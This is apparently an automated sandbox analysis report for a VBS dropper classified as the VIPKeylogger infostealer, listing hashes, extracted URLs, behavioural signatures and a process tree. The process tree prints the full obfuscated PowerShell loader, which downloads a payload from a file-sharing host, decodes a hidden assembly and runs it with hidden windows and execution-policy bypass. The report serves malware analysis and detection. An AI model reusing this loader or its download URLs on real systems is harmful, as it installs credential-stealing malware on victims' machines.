Analysis
-
max time kernel
114s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
07-11-2024 15:52
Static task
static1
Behavioral task
behavioral1
Sample
dfcugh.vbs
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
dfcugh.vbs
Resource
win10v2004-20241007-en
General
-
Target
dfcugh.vbs
-
Size
13KB
-
MD5
4f3e6d1619f31390de9a461391f10dba
-
SHA1
9d90fa6b3bb7809fc800751c6cfc41dc68742a84
-
SHA256
2202962f09e94846b9677dda2358f0f04871bcd02c6ac3c5f3f27e85982d26c6
-
SHA512
f609e24d91a9ee08fe9b89f4909eb8745045d67b0b20d187d4586f5c382cefc2af96baacd1125aef96b71cc4eeeefdf0baa4467a1bb66637edfedacca9615427
-
SSDEEP
384:CiQvc9iQZ4T6+wi7Ahrd5RxEA/mywQfD6U512ChMsB+5wZ/f3CPR:CiQk9iQzn512ChMsB+4/fyPR
Malware Config
Extracted
https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f
https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f
Extracted
vipkeylogger
Signatures
-
VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
-
Vipkeylogger family
-
Blocklisted process makes network request 4 IoCs
Processes:
WScript.exepowershell.exeflow pid Process 2 2212 WScript.exe 6 2212 WScript.exe 18 740 powershell.exe 25 740 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
Processes:
powershell.exepowershell.exepid Process 3028 powershell.exe 740 powershell.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exeWScript.exedescription ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation WScript.exe -
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
Processes:
dxdiag.exedescription ioc Process Key opened \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 dxdiag.exe Key opened \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 dxdiag.exe Key opened \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 dxdiag.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 30 checkip.dyndns.org -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid Process procid_target PID 740 set thread context of 2676 740 powershell.exe 98 -
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
dxdiag.exedescription ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dxdiag.exe -
Modifies registry class 1 IoCs
Processes:
WScript.exedescription ioc Process Key created \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings WScript.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 2 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 6 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exepowershell.exedxdiag.exepid Process 3028 powershell.exe 3028 powershell.exe 740 powershell.exe 740 powershell.exe 2676 dxdiag.exe 2676 dxdiag.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exedxdiag.exedescription pid Process Token: SeDebugPrivilege 3028 powershell.exe Token: SeDebugPrivilege 740 powershell.exe Token: SeDebugPrivilege 2676 dxdiag.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
WScript.exeWScript.exepowershell.exepowershell.exedescription pid Process procid_target PID 3296 wrote to memory of 2212 3296 WScript.exe 83 PID 3296 wrote to memory of 2212 3296 WScript.exe 83 PID 2212 wrote to memory of 3028 2212 WScript.exe 88 PID 2212 wrote to memory of 3028 2212 WScript.exe 88 PID 3028 wrote to memory of 740 3028 powershell.exe 90 PID 3028 wrote to memory of 740 3028 powershell.exe 90 PID 740 wrote to memory of 2676 740 powershell.exe 98 PID 740 wrote to memory of 2676 740 powershell.exe 98 PID 740 wrote to memory of 2676 740 powershell.exe 98 PID 740 wrote to memory of 2676 740 powershell.exe 98 PID 740 wrote to memory of 2676 740 powershell.exe 98 PID 740 wrote to memory of 2676 740 powershell.exe 98 PID 740 wrote to memory of 2676 740 powershell.exe 98 PID 740 wrote to memory of 2676 740 powershell.exe 98 PID 740 wrote to memory of 2676 740 powershell.exe 98 -
outlook_office_path 1 IoCs
Processes:
dxdiag.exedescription ioc Process Key opened \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 dxdiag.exe -
outlook_win_path 1 IoCs
Processes:
dxdiag.exedescription ioc Process Key opened \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 dxdiag.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\dfcugh.vbs"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3296 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RLlBJGBXJiGLuhwiJI.js"2⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2212 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JgAgACgAIAAkAHAAcwBoAG8AbQBlAFsANABdACsAJABwAHMAaABPAE0ARQBbADMANABdACsAJwB4ACcAKQAoACAAKAAnAEwAeABGAGkAbQBhAGcAJwArACcAZQBVAHIAbAAgAD0AIABEAFgAdgBoAHQAdABwACcAKwAnAHMAOgAvAC8AMQAwADEANwAuAGYAaQBsAGUAbQBhAGkAbAAuAGMAbwBtAC8AYQBwAGkALwBmAGkAbABlAC8AZwBlAHQAJwArACcAPwBmAGkAbABlAGsAZQB5AD0AMgBBAGEAXwBiAFcAbwA5AFIAZQB1ADQANQB0ADcAQgBVADEAawBWAGcAcwBkADkAcABUADkAcABnAFMAUwBsAHYAUwB0AEcAcgBuAFQASQBDAGYARgBoAG0AVABLAGoAMwBMAEMANgBTAFEAdABJAGMATwBjAF8AVAAzADUAJwArACcAdwAmAHAAawBfAHYAaQBkAD0AZgBkADQAZgA2ADEAJwArACcANAAnACsAJwBiAGIAMgAwADkAYwA2ADIAYwAxADcAMwAwADkANAA1ADEANwA2AGEAMAA5ADAANABmACAARABYAHYAOwBMAHgARgB3AGUAYgAnACsAJwBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsATAB4AEYAaQBtAGEAZwBlAEIAJwArACcAeQB0AGUAcwAgAD0AIABMAHgARgB3AGUAYgBDAGwAaQBlAG4AJwArACcAdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgATAB4AEYAaQBtAGEAZwBlAFUAcgBsACkAOwAnACsAJwBMACcAKwAnAHgARgBpAG0AYQBnAGUAVABlAHgAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjACcAKwAnAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQAnACsAJwBuAGcAKABMAHgARgBpAG0AYQBnAGUAQgB5AHQAZQBzACkAOwBMAHgARgBzAHQAYQByAHQARgBsAGEAZwAgAD0AIABEAFgAdgA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+AEQAWAB2ADsATAB4AEYAZQAnACsAJwBuAGQARgBsAGEAZwAgAD0AIABEAFgAdgA8ADwAQgBBAFMARQA2ADQAXwBFACcAKwAnAE4ARAA+AD4ARABYAHYAOwBMAHgARgBzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgAEwAeAAnACsAJwBGAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoAEwAeABGAHMAdABhAHIAdABGAGwAYQBnACkAOwBMAHgARgBlAG4AZABJAG4AZABlAHgAIAA9ACAATAB4AEYAaQBtAGEAJwArACcAZwBlAFQAZQB4ACcAKwAnAHQALgBJAG4AZABlAHgATwBmACgATAB4AEYAZQBuAGQARgBsAGEAZwApADsATAB4AEYAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIABMAHgARgBlAG4AZABJAG4AZABlAHgAIAAtAGcAdAAgAEwAeABGAHMAdABhAHIAdABJAG4AZABlAHgAOwBMAHgARgBzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAJwArACcATAB4AEYAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7AEwAeABGAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACAAPQAgAEwAeABGAGUAbgBkAEkAbgBkAGUAeAAgAC0AIABMAHgARgBzAHQAYQByAHQASQBuAGQAZQB4ADsATAB4AEYAYgBhACcAKwAnAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIABMAHgARgBpAG0AYQBnAGUAVABlAHgAdAAuAFMAdQBiAHMAdAByAGkAbgBnACgATAB4AEYAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAATAB4AEYAYgBhAHMAZQA2ADQATABlAG4AZwB0ACcAKwAnAGgAKQA7AEwAeABGAGIAYQBzAGUANgA0AFIAZQB2AGUAcgBzAGUAZAAgAD0AIAAtAGoAbwBpAG4AIAAoAEwAeABGAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQALgBUAG8AQwBoAGEAcgAnACsAJwBBAHIAcgBhAHkAKAApACAAOABiAEMAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAATAB4AEYAXwAgAH0AKQBbAC0AMQAuAC4ALQAoAEwAeABGAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQALgBMAGUAbgBnAHQAaAApACcAKwAnAF0AOwBMAHgARgBjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgATAB4AEYAYgBhAHMAZQA2ADQAUgBlAHYAZQByAHMAZQBkACkAJwArACcAOwBMAHgARgBsAG8AYQBkAGUAZABBAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoAEwAeABGAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwBMAHgARgB2AGEAaQBNAGUAdABoAG8AZAAgAD0AIABbAGQAbgBsAGkAYgAnACsAJwAuAEkATwAuAEgAbwBtAGUAXQAuAEcAZQB0AE0AZQB0AGgAbwBkACgARABYAHYAVgBBAEkARABYAHYAKQA7AEwAeABGAHYAYQBpAE0AZQB0AGgAbwBkAC4ASQBuAHYAbwBrAGUAKABMAHgARgBuAHUAbABsACwAIABAACgARAAnACsAJwBYAHYAdAB4AHQALgBkAHMAdABlAHAALwBwAG8AcAAvAHUAZQAuAHAAcgBnAHgAYQBtAHkAZwByAGUAbgBlAC4AZwBpAGcALwAvADoAcAB0AHQAaABEAFgAdgAsACAARABYAHYAZABlAHMAYQB0AGkAdgBhAGQAbwBEAFgAdgAsACAARABYAHYAZABlAHMAYQB0AGkAdgBhAGQAbwBEAFgAdgAsACAARABYAHYAZABlAHMAYQB0AGkAdgBhAGQAbwBEAFgAdgAsACAARABYAHYAZABlAHMAYQB0AGkAdgBhAGQAbwBEAFgAdgAsACAARABYAHYAMQBEAFgAdgAsACAARABYAHYAZAB4AGQAaQBhAGcARABYAHYALABEAFgAdgBkAGUAcwBhAHQAaQB2AGEAZABvAEQAWAB2ACwAIABEAFgAdgBkAGUAcwBhAHQAaQB2AGEAZABvAEQAWAB2ACwARABYAHYAZABlAHMAYQB0AGkAdgBhAGQAbwBEAFgAdgAsAEQAWAB2AGQAJwArACcAZQBzAGEAdABpAHYAYQBkAG8ARABYAHYALABEAFgAdgBkAGUAcwBhAHQAaQB2AGEAZABvAEQAWAB2ACwARABYAHYAMQBEAFgAdgAsAEQAWAB2AGQAZQBzAGEAdABpAHYAYQBkAG8ARABYAHYAKQApADsAJwApAC4AcgBlAFAAbABBAEMARQAoACcAOABiAEMAJwAsAFsAcwB0AFIASQBOAEcAXQBbAEMASABhAFIAXQAxADIANAApAC4AcgBlAFAAbABBAEMARQAoACcATAB4AEYAJwAsAFsAcwB0AFIASQBOAEcAXQBbAEMASABhAFIAXQAzADYAKQAuAHIAZQBQAGwAQQBDAEUAKAAnAEQAWAB2ACcALABbAHMAdABSAEkATgBHAF0AWwBDAEgAYQBSAF0AMwA5ACkAKQA=';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3028 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $pshome[4]+$pshOME[34]+'x')( ('LxFimag'+'eUrl = DXvhttp'+'s://1017.filemail.com/api/file/get'+'?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35'+'w&pk_vid=fd4f61'+'4'+'bb209c62c1730945176a0904f DXv;LxFweb'+'Client = New-Object System.Net.WebClient;LxFimageB'+'ytes = LxFwebClien'+'t.DownloadData(LxFimageUrl);'+'L'+'xFimageText = [System.Text.Enc'+'oding]::UTF8.GetStri'+'ng(LxFimageBytes);LxFstartFlag = DXv<<BASE64_START>>DXv;LxFe'+'ndFlag = DXv<<BASE64_E'+'ND>>DXv;LxFstartIndex = Lx'+'FimageText.IndexOf(LxFstartFlag);LxFendIndex = LxFima'+'geTex'+'t.IndexOf(LxFendFlag);LxFstartIndex -ge 0 -and LxFendIndex -gt LxFstartIndex;LxFstartIndex += '+'LxFstartFlag.Length;LxFbase64Length = LxFendIndex - LxFstartIndex;LxFba'+'se64Command = LxFimageText.Substring(LxFstartIndex, LxFbase64Lengt'+'h);LxFbase64Reversed = -join (LxFbase64Command.ToChar'+'Array() 8bC ForEach-Object { LxF_ })[-1..-(LxFbase64Command.Length)'+'];LxFcommandBytes = [System.Convert]::FromBase64String(LxFbase64Reversed)'+';LxFloadedAssembly = [System.Reflection.Assembly]::Load(LxFcommandBytes);LxFvaiMethod = [dnlib'+'.IO.Home].GetMethod(DXvVAIDXv);LxFvaiMethod.Invoke(LxFnull, @(D'+'Xvtxt.dstep/pop/ue.prgxamygrene.gig//:ptthDXv, DXvdesativadoDXv, DXvdesativadoDXv, DXvdesativadoDXv, DXvdesativadoDXv, DXv1DXv, DXvdxdiagDXv,DXvdesativadoDXv, DXvdesativadoDXv,DXvdesativadoDXv,DXvd'+'esativadoDXv,DXvdesativadoDXv,DXv1DXv,DXvdesativadoDXv));').rePlACE('8bC',[stRING][CHaR]124).rePlACE('LxF',[stRING][CHaR]36).rePlACE('DXv',[stRING][CHaR]39))"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:740 -
C:\Windows\SysWOW64\dxdiag.exe"C:\Windows\SysWOW64\dxdiag.exe"5⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:2676
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5f41839a3fe2888c8b3050197bc9a0a05
SHA10798941aaf7a53a11ea9ed589752890aee069729
SHA256224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA5122acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699
-
Filesize
64B
MD5d8b9a260789a22d72263ef3bb119108c
SHA1376a9bd48726f422679f2cd65003442c0b6f6dd5
SHA256d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc
SHA512550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b
-
Filesize
1KB
MD53d68e0db63d092d83baf5f2e61a2240c
SHA154bec790443c5eceea3819b516714d8d73588684
SHA256718f980994f02da3640c8618398ac88a4c3bfb7df0dd9ba118af2f5ef305819a
SHA512115f21a1066286b28855a3ddf9aa2d3f37525bbc9da5807755a8b5b5111bd4e1af539388f8ab69dea37c0ac36096fbe837bad4a52939bc31847bc2583a2841cf
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82